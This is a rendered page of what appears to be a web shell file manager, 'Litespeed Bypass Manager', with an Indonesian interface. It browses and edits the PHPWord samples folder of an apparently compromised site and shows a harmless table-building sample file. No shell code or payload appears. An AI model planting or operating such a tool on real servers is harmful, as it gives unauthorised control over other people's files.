Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/samples
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
bootstrap
Folder
Hapus
📁
resources
Folder
Hapus
📁
results
Folder
Hapus
📄 Sample_01_SimpleText.php
Edit
Hapus
📄 Sample_02_TabStops.php
Edit
Hapus
📄 Sample_03_Sections.php
Edit
Hapus
📄 Sample_04_Textrun.php
Edit
Hapus
📄 Sample_05_Multicolumn.php
Edit
Hapus
📄 Sample_06_Footnote.php
Edit
Hapus
📄 Sample_07_TemplateCloneRow.php
Edit
Hapus
📄 Sample_08_ParagraphPagination.php
Edit
Hapus
📄 Sample_09_Tables.php
Edit
Hapus
📄 Sample_10_EastAsianFontStyle.php
Edit
Hapus
📄 Sample_11_ReadWord2007.php
Edit
Hapus
📄 Sample_11_ReadWord97.php
Edit
Hapus
📄 Sample_12_HeaderFooter.php
Edit
Hapus
📄 Sample_13_Images.php
Edit
Hapus
📄 Sample_14_ListItem.php
Edit
Hapus
📄 Sample_15_Link.php
Edit
Hapus
📄 Sample_16_Object.php
Edit
Hapus
📄 Sample_17_TitleTOC.php
Edit
Hapus
📄 Sample_18_Watermark.php
Edit
Hapus
📄 Sample_19_TextBreak.php
Edit
Hapus
📄 Sample_20_BGColor.php
Edit
Hapus
📄 Sample_21_TableRowRules.php
Edit
Hapus
📄 Sample_22_CheckBox.php
Edit
Hapus
📄 Sample_23_TemplateBlock.php
Edit
Hapus
📄 Sample_24_ReadODText.php
Edit
Hapus
📄 Sample_25_TextBox.php
Edit
Hapus
📄 Sample_26_Html.php
Edit
Hapus
📄 Sample_27_Field.php
Edit
Hapus
📄 Sample_28_ReadRTF.php
Edit
Hapus
📄 Sample_29_Line.php
Edit
Hapus
📄 Sample_30_ReadHTML.php
Edit
Hapus
📄 Sample_31_Shape.php
Edit
Hapus
📄 Sample_32_Chart.php
Edit
Hapus
📄 Sample_33_FormField.php
Edit
Hapus
📄 Sample_34_SDT.php
Edit
Hapus
📄 Sample_35_InternalLink.php
Edit
Hapus
📄 Sample_36_RTL.php
Edit
Hapus
📄 Sample_37_Comments.php
Edit
Hapus
📄 Sample_38_Protection.php
Edit
Hapus
📄 Sample_Footer.php
Edit
Hapus
📄 Sample_Header.php
Edit
Hapus
📄 index.php
Edit
Hapus
Edit File: Sample_09_Tables.php
<?php include_once 'Sample_Header.php'; // New Word Document echo date('H:i:s'), ' Create new PhpWord object', EOL; $phpWord = new \PhpOffice\PhpWord\PhpWord(); $section = $phpWord->addSection(); $header = array('size' => 16, 'bold' => true); // 1. Basic table $rows = 10; $cols = 5; $section->addText('Basic table', $header); $table = $section->addTable(); for ($r = 1; $r <= 8; $r++) { $table->addRow(); for ($c = 1; $c <= 5; $c++) { $table->addCell(1750)->addText("Row {$r}, Cell {$c}"); } } // 2. Advanced table $section->addTextBreak(1); $section->addText('Fancy table', $header); $fancyTableStyleName = 'Fancy Table'; $fancyTableStyle = array('borderSize' => 6, 'borderColor' => '006699', 'cellMargin' => 80, 'alignment' => \PhpOffice\PhpWord\SimpleType\JcTable::CENTER); $fancyTableFirstRowStyle = array('borderBottomSize' => 18, 'borderBottomColor' => '0000FF', 'bgColor' => '66BBFF'); $fancyTableCellStyle = array('valign' => 'center'); $fancyTableCellBtlrStyle = array('valign' => 'center', 'textDirection' => \PhpOffice\PhpWord\Style\Cell::TEXT_DIR_BTLR); $fancyTableFontStyle = array('bold' => true); $phpWord->addTableStyle($fancyTableStyleName, $fancyTableStyle, $fancyTableFirstRowStyle); $table = $section->addTable($fancyTableStyleName); $table->addRow(900); $table->addCell(2000, $fancyTableCellStyle)->addText('Row 1', $fancyTableFontStyle); $table->addCell(2000, $fancyTableCellStyle)->addText('Row 2', $fancyTableFontStyle); $table->addCell(2000, $fancyTableCellStyle)->addText('Row 3', $fancyTableFontStyle); $table->addCell(2000, $fancyTableCellStyle)->addText('Row 4', $fancyTableFontStyle); $table->addCell(500, $fancyTableCellBtlrStyle)->addText('Row 5', $fancyTableFontStyle); for ($i = 1; $i <= 8; $i++) { $table->addRow(); $table->addCell(2000)->addText("Cell {$i}"); $table->addCell(2000)->addText("Cell {$i}"); $table->addCell(2000)->addText("Cell {$i}"); $table->addCell(2000)->addText("Cell {$i}"); $text = (0 == $i % 2) ? 'X' : ''; $table->addCell(500)->addText($text); } /* * 3. colspan (gridSpan) and rowspan (vMerge) * --------------------- * | | B | | * | A |--------| E | * | | C | D | | * --------------------- */ $section->addPageBreak(); $section->addText('Table with colspan and rowspan', $header); $fancyTableStyle = array('borderSize' => 6, 'borderColor' => '999999'); $cellRowSpan = array('vMerge' => 'restart', 'valign' => 'center', 'bgColor' => 'FFFF00'); $cellRowContinue = array('vMerge' => 'continue'); $cellColSpan = array('gridSpan' => 2, 'valign' => 'center'); $cellHCentered = array('alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER); $cellVCentered = array('valign' => 'center'); $spanTableStyleName = 'Colspan Rowspan'; $phpWord->addTableStyle($spanTableStyleName, $fancyTableStyle); $table = $section->addTable($spanTableStyleName); $table->addRow(); $cell1 = $table->addCell(2000, $cellRowSpan); $textrun1 = $cell1->addTextRun($cellHCentered); $textrun1->addText('A'); $textrun1->addFootnote()->addText('Row span'); $cell2 = $table->addCell(4000, $cellColSpan); $textrun2 = $cell2->addTextRun($cellHCentered); $textrun2->addText('B'); $textrun2->addFootnote()->addText('Column span'); $table->addCell(2000, $cellRowSpan)->addText('E', null, $cellHCentered); $table->addRow(); $table->addCell(null, $cellRowContinue); $table->addCell(2000, $cellVCentered)->addText('C', null, $cellHCentered); $table->addCell(2000, $cellVCentered)->addText('D', null, $cellHCentered); $table->addCell(null, $cellRowContinue); /* * 4. colspan (gridSpan) and rowspan (vMerge) * --------------------- * | | B | 1 | * | A | |----| * | | | 2 | * | |---|----|----| * | | C | D | 3 | * --------------------- * @see https://github.com/PHPOffice/PHPWord/issues/806 */ $section->addPageBreak(); $section->addText('Table with colspan and rowspan', $header); $styleTable = array('borderSize' => 6, 'borderColor' => '999999'); $phpWord->addTableStyle('Colspan Rowspan', $styleTable); $table = $section->addTable('Colspan Rowspan'); $row = $table->addRow(); $row->addCell(null, array('vMerge' => 'restart'))->addText('A'); $row->addCell(null, array('gridSpan' => 2, 'vMerge' => 'restart'))->addText('B'); $row->addCell()->addText('1'); $row = $table->addRow(); $row->addCell(null, array('vMerge' => 'continue')); $row->addCell(null, array('vMerge' => 'continue', 'gridSpan' => 2)); $row->addCell()->addText('2'); $row = $table->addRow(); $row->addCell(null, array('vMerge' => 'continue')); $row->addCell()->addText('C'); $row->addCell()->addText('D'); $row->addCell()->addText('3'); // 5. Nested table $section->addTextBreak(2); $section->addText('Nested table in a centered and 50% width table.', $header); $table = $section->addTable(array('width' => 50 * 50, 'unit' => 'pct', 'alignment' => \PhpOffice\PhpWord\SimpleType\JcTable::CENTER)); $cell = $table->addRow()->addCell(); $cell->addText('This cell contains nested table.'); $innerCell = $cell->addTable(array('alignment' => \PhpOffice\PhpWord\SimpleType\JcTable::CENTER))->addRow()->addCell(); $innerCell->addText('Inside nested table'); // Save file echo write($phpWord, basename(__FILE__, '.php'), $writers); if (!CLI) { include_once 'Sample_Footer.php'; }
Simpan
Catatan: Mengedit file biner tidak disarankan.